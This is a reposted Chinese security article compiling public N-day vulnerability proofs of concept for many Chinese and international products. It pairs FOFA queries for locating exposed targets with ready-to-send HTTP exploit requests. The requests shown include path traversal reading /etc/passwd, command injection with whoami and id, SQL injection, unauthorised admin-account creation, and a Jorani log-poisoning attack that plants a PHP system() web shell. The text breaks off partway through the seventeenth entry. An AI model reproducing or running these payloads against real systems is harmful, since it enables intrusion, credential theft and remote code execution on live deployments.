互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
) A  U/ I. K! k- I道一安全 2024-06-05 07:41 北京
7 [% \. s" I" M7 z; Q以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

2 T3 p9 {- P" B, J( F1 T漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

) u, u4 Q3 Z4 l$ S3 F
4 q- x/ q( h6 Y) u* V! O0 q8 V声明

4 i- T, p. p$ _) \7 b为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
9 V) S1 }0 |0 ^) Z3 g; N  J7 Y
7 s2 \  }9 {; }! T/ u2 T
0 y: ^  I9 f) R* A6 K/ ^
目录
$ u1 {$ Y$ y% l
  y8 U) `8 N. c# v+ ~01
+ |0 |) T) \& h# I1 x2 d
1. StarRocks MPP数据库未授权访问
3 P' |# X; P3 |% B: t! c7 X2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
& |3 ^' q$ {' m) F7. 鸿运主动安全监控云平台任意文件下载
6 }, |; k& c* ]. A, F8. 斐讯 Phicomm 路由器RCE
9 m* [- I. q) Q: P; P0 u9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
! E# L# i  M2 {; R" l12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
6 E4 R& E+ ~3 m14. 华夏ERP（jshERP）敏感信息泄露
( j' f! I/ Q! _( C15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
. X9 u4 T; |0 d6 E18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
6 `* {9 X' ~, A27. 用友 NC showcontent SQL注入
" b5 z! X# j0 s' E/ I9 }/ _28. 用友NC grouptemplet 任意文件上传
$ X0 k# Z& T( A& e1 ?* S: D$ G" D29. 用友NC down/bill SQL注入
& T3 Y$ o( \% o30. 用友NC importPml SQL注入
! s5 g3 ~. Y8 O31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
0 C9 |0 g; f: a4 @: n33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
4 R' g, `8 B2 \. C2 r* q36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
$ H. h  a9 e: x! k% v# Y38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
- N& g: {0 `% S$ Y8 p40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
* b# ~' b; y  g; V45. 用友GRP-U8 ufgovbank XXE
7 {( R' O5 M8 K* I+ a46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
4 Z9 e! f# W; \/ }* W$ m48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 ^' h; o* i6 j0 g& w8 i  n50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
0 Z0 d# y4 R! Y3 T52. 泛微E-Office json_common.php sql注入
$ n% c6 ]% t) }1 E3 G5 t( a53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
/ E7 M- ?  L; Q55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
( ^, P6 M5 U9 q+ E3 h5 V% m58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
5 c7 l5 P* d& K" O" d61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
. x9 b- F) ^" \: t/ f# e. j64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! r# G" @$ T( D4 Q65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
+ s: w! u, u" x7 s# s& P66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
. @) B& H' N8 `) W$ o& k% S3 W6 o  r68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
% o3 X7 q% }- `$ D* Y$ o71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
; B( ~7 a9 d! N" p' q$ B" o$ Y% U74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
& o+ j# ~( f: t4 N% Z5 W77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
- R' W) i& |+ n# g3 I  \80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
# R5 N4 j# ^  f6 Q83. JeecgBoot testConnection 远程命令执行
) k9 g! L* y5 v# t84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
: U# N0 M# e* \, Z5 }! f( q% Z86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
& D% s* C& R, Q/ N90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
0 N: s" N, o, P3 h/ n) t1 x91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
, A# ^9 h8 O. G+ q# P96. Apache OFBiz  18.12.11 groovy 远程代码执行
! A3 |& J# C9 O7 A97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
; e& C% d/ y$ T) i7 n101. ivanti policy secure-22.6命令注入
* G- V* b' t9 q9 t+ t4 k102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
) l/ @: J: c. B8 n2 d0 ^103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
7 f+ L& V& g' c! v2 |8 n107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
0 L: M$ {3 d7 G+ H109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
7 g8 o8 M3 W! }3 C* o113. WordPress Automatic 插件任意文件下载和SSRF
+ X4 i0 M2 m5 @/ K114. WordPress MasterStudy LMS插件 SQL注入
+ S' H$ p2 `+ G1 T9 F4 ?' E115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
7 b1 H' s6 M0 O- Q5 y$ h& r; a4 K117. WordPress LayerSlider插件SQL注入
+ l% E2 ]6 M. ?9 h118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
8 j0 Y* `9 u  Z( x119. 北京百绰智能S20后台sysmanageajax.php sql注入
5 X, c9 x4 _; q( l120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
7 s' ]2 K, d. g; T123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
. [" S8 F- _4 F, s$ P125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
: ~, c3 V! E- n1 ~1 x128. Adobe ColdFusion 反序列化
$ S0 H" G$ t6 s& F, I129. Adobe ColdFusion 任意文件读取
$ }# A4 H/ N* A0 z" t# I* L: C/ m' y130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
# h; r6 l+ f7 W( f6 v. Q+ U! Q132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
5 s7 k" L( _% ]135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
/ I% ?9 u2 w7 b3 B. R136. NextChat cors SSRF
$ d* V5 h1 |+ d% {& J" l5 j137. 福建科立迅通信指挥调度平台down_file.php sql注入
( T! I# H4 h5 M6 P6 Q+ Q) P138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
* Q5 t6 B3 r- I  L139. 福建科立讯通信指挥调度平台editemedia.php sql注入
* _4 z; P% T$ H7 C* s140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
$ v* M/ z/ P" U( l# c5 @141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
1 x) b5 C" E7 g2 }( j. }( A# `142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
0 e% f8 d" x  C7 D& R9 R146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
( L$ G  [1 u+ [150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
: l3 A# o3 u! Q152. Progress Kemp LoadMaster 远程命令执行
" |9 C; {" A' z2 U" n153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
5 t( B" P" B( l) I% Q1 o& r155. 六零导航页 file.php 任意文件上传
: ^# t0 s5 @6 o! G: K0 Y. e, b2 `156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
& `, z; }9 l0 h+ U! m8 H159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
. L. n; O- [$ v  ]* H9 W( n160. Sonatype Nexus Repository 3目录遍历与文件读取
; L% W  `7 C3 Y6 x& c5 u161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
7 N" O) O: k0 `5 a4 ]/ N164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
# h& Q; c, ]" Z168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
1 I& R" f2 E, H3 J* b3 \* f, ?170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
! P9 M" R6 F. n" }) w$ F! q5 N175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
* L1 C% h# y, e2 S3 D1 N8 s176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
* ^: C6 J, P4 D2 O179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
  }4 u1 n: r8 |( P+ D/ ?184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
, m% F4 K" ~/ C8 j# _  `" H4 V; r185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
; u- v1 o/ D) t$ j+ v; r; M191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
$ i5 a4 S5 S* w  ^$ h192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
% B3 L  V( P' |2 x( y193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
3 ~; C4 o% x: ~6 B' y196. 河南省风速科技统一认证平台密码重置
& A; {0 c) F8 `% v, |! z197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
4 S5 J- M2 [3 q9 [- u0 E  d7 g8 j198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
1 L+ d( W( e' d) I200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

' n6 ]5 W2 F6 z& T% g/ z) Z0 rPOC列表
% [7 z0 \2 R! V( B) m/ p2 r  v0 P
02
* i9 z: o3 K& J( x! B- H+ l! P0 |7 g
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
: N" w$ q7 }- b5 MGET /mem_tracker HTTP/1.1
" U+ E: ~0 \! d- p8 Z" a. jHost: URL
( ^) l( L+ p, X* I

6 J/ n" l' Z  ^; J! Z5 K2. Casdoor系统static任意文件读取
4 X  p) A0 Y; {3 e8 B9 ~" p$ GFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% x- U9 r) F$ H' j# VConnection: close
* Y( w2 h7 j- vAccept: */*
% ?5 M. p0 H0 ?8 B* V' L! bAccept-Language: en
5 x* v6 ^0 E2 |# KAccept-Encoding: gzip


. l8 K1 A9 G5 ]8 x8 f3 l& K0 [7 `3. EasyCVR智能边缘网关 userlist 信息泄漏
* I  N& x$ S* w1 Z: z9 IFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

( \8 t) u( d+ M( K
; B& v, q4 e$ ?+ c- U/ @4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
9 `. r: {: h$ C" |
password更改为自己的密码md5
2 }8 C, O; {3 H# [$ xPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

# a( d9 ]1 o8 \9 ~name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

+ n: C6 D9 B& P$ W# v/ l8 }
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
, q" @) E& V! U9 r" hHost: xx.xx.xx.xx
- _, r( M" w3 b+ @% {8 e
3 h) f* x0 f) v, M% X4 P- B
+ U! g, X. ]( K+ {4 [" ^6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
7 ?5 ]. \1 @1 J$ \

7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
$ k4 J" L7 i) L6 _, x7 OGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
% d! \1 w$ g4 ]; e2 ]! u3 i

2 f" U+ K( |4 {8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
. n# N+ c( q5 I9 j默认账号admin登录后台后，执行操作
+ k/ q2 g# k, n2 jPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
/ e" r, V; c) N* f9 b$ M, DCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

/ V1 ~9 ~+ H' s3 ^3 M/ H7 ~------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

3 W5 R: X7 Y$ F! O5 u  y& U%s
------WebKitFormBoundaryxbgjoytz
( L# Y3 I* c, m# AContent-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

7 a9 {5 c% t$ t( m%s:
  \% U* ]$ a- L% s------WebKitFormBoundaryxbgjoytz
8 J2 H$ [$ i8 m" @  x$ Z+ v7 }( p9 JContent-Disposition: form-data; name="cururl2"


! |$ q. a  J; U" r+ W------WebKitFormBoundaryxbgjoytz--
3 A7 E2 l  Y1 G# v' d2 Z9 A

9. 稻壳CMS keyword 未授权SQL注入
7 g5 o; H9 g$ FFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
3 ~+ o5 i: Z6 a  l- aHost: x.x.x.x


payload为下列语句的二次Url编码

+ }# m+ c5 w, i, E' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
( T5 Q, z: ]; b. _
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
) L& W# o; j3 `2 w1 A. UFOFA：icon_hash="953405444"
. [3 A' O2 ^9 h+ Q( H
9 u5 g2 i2 u4 R  n* R$ W0 v2 T! F文件上传后响应中包含上传文件的路径
* u  s4 F% ]. @6 V3 D1 L* ]0 P5 uPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
  d; H# D$ m' QHost: x.x.x.x:xx
- K% K: ]8 b# ]0 B  v1 }. aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! k8 u/ `+ C' jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 x1 @3 J8 A3 _4 TConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
: @  I  P6 Q, I# V% s
------WebKitFormBoundaryxdgaqmqu
- C1 n" x7 j1 ~) fContent-Disposition: form-data; name="file"filename="icfitnya.txt"
% B) W" F" U5 Y/ ZContent-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
$ v! Z7 g, A8 b" M( e

/ e9 L3 J5 x0 {/ Y( \% s11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
! S$ G, c, B- H/ OFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
' X2 U) n4 u* XGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
/ u1 w0 Z$ D8 w: XHost: 127.0.0.1
Pragma: no-cache
9 |+ o' l6 }) ?8 X, M; p( B) mCache-Control: no-cache
+ e: f# _6 K0 I6 F( QUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ `! V% \9 D5 r+ s# h) K: c, HAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
* ?0 b- P/ ^! s# EConnection: close
2 V* V5 {; Q" t# Y) r. Z  M
& b% I2 P$ V' O3 x3 @
12. Jorani < 1.0.2 远程命令执行
8 F: {. G! G5 UFOFA：title="Jorani"
9 e$ H0 s6 N% w* x& A& J第一步先拿到cookie
; O+ F( N8 q3 c$ r( \' Q3 ?GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
; j: \2 K5 u  s' [Connection: close
! ?9 J8 _5 E, @1 [& Y2 K+ y9 tAccept-Encoding: gzip
8 F; v: [2 o$ P$ E& p

+ {2 i7 T" ~' h响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
6 ?- B4 R2 I4 n  o  E9 q3 J9 cCache-Control: no-store, no-cache, must-revalidate
: O. ]+ u; V2 P; t( `5 NContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
; S" \" B- r, @$ k- T# @; pLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
3 e( q# Y. _. b# b5 L* zSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
7 h2 A8 N& r9 P8 KVary: Accept-Encoding

4 t7 \0 I, N/ z2 x" v* l1 Y
POST请求，执行函数并进行base64编码
3 t: S0 P' B) L+ U& N# ?& T2 h- }/ _POST /session/login HTTP/1.1
Host: 192.168.190.30
4 K) z3 G; ^( D! p7 `: cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
+ A' D* d! Z( k1 M* l6 e- d* V$ g% \3 IConnection: close
; ?) `* G% w2 K( |2 |( k* JContent-Length: 252
3 l4 E( F+ g: R* H/ [5 F( {- mContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
+ j! t6 }) K! `" gAccept-Encoding: gzip
* t3 [- l% {, A  @" o: z- z
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


3 v7 K7 W. z* z$ k
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
9 x, X0 N" k* A) B& _Host: 192.168.190.30
4 |- m+ {* T! Q2 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
' m8 R1 m  l+ Y2 j$ q1 zConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
* h$ L+ c" J3 X# Y, q. CK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
& _0 U$ m" V1 t; oX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
8 ^0 l0 X6 v. q& Y' M& `

5 C, M* A* G* S13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
# N2 V1 w) f% D2 eHost: x.x.x.x
' {& {/ ~  R6 B& ?) B5 I- f/ xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip

  ?& L% N$ p5 E, z) {
14. 华夏ERP（jshERP）敏感信息泄露
0 `+ X  V; ^" i5 p1 @FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
) o5 z) @. K  H. d. kConnection: close
Accept: */*
  J2 I+ a8 O7 s* d$ b" G  gAccept-Language: en
Accept-Encoding: gzip
9 T# l0 P8 [9 J, y5 w7 O
5 n, }2 N; d1 A8 ^8 H
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
' r2 o9 o# M6 W0 H! }1 y9 Y6 tFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
; X1 J# k* P% J/ f) aConnection: close
! {1 @5 r6 [$ i0 MAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
: I; y. n+ u) p# W, H1 C+ j+ TAccept-Language: en
0 e  o+ W4 V2 I# }( G0 o( @2 zsec-ch-ua-platform: Windows
; Q8 _+ V8 V( K, P0 c+ QAccept-Encoding: gzip


  H+ g6 U; c, S5 s( I$ p4 m16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
1 V2 O' b5 p, @" A2 j* ?+ OHost: x.x.x.x
. g4 y+ v: `" v1 m* q2 mUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
2 A: c! h+ f: s0 X; s3 B
, `2 Y, U" F' G& C
17. 大华 DSS itcBulletin SQL 注入
/ c0 G+ @8 L: U8 y: _FOFA：app="dahua-DSS"
  ]  ?. H& |' |3 a0 GPOST /portal/services/itcBulletin?wsdl HTTP/1.1
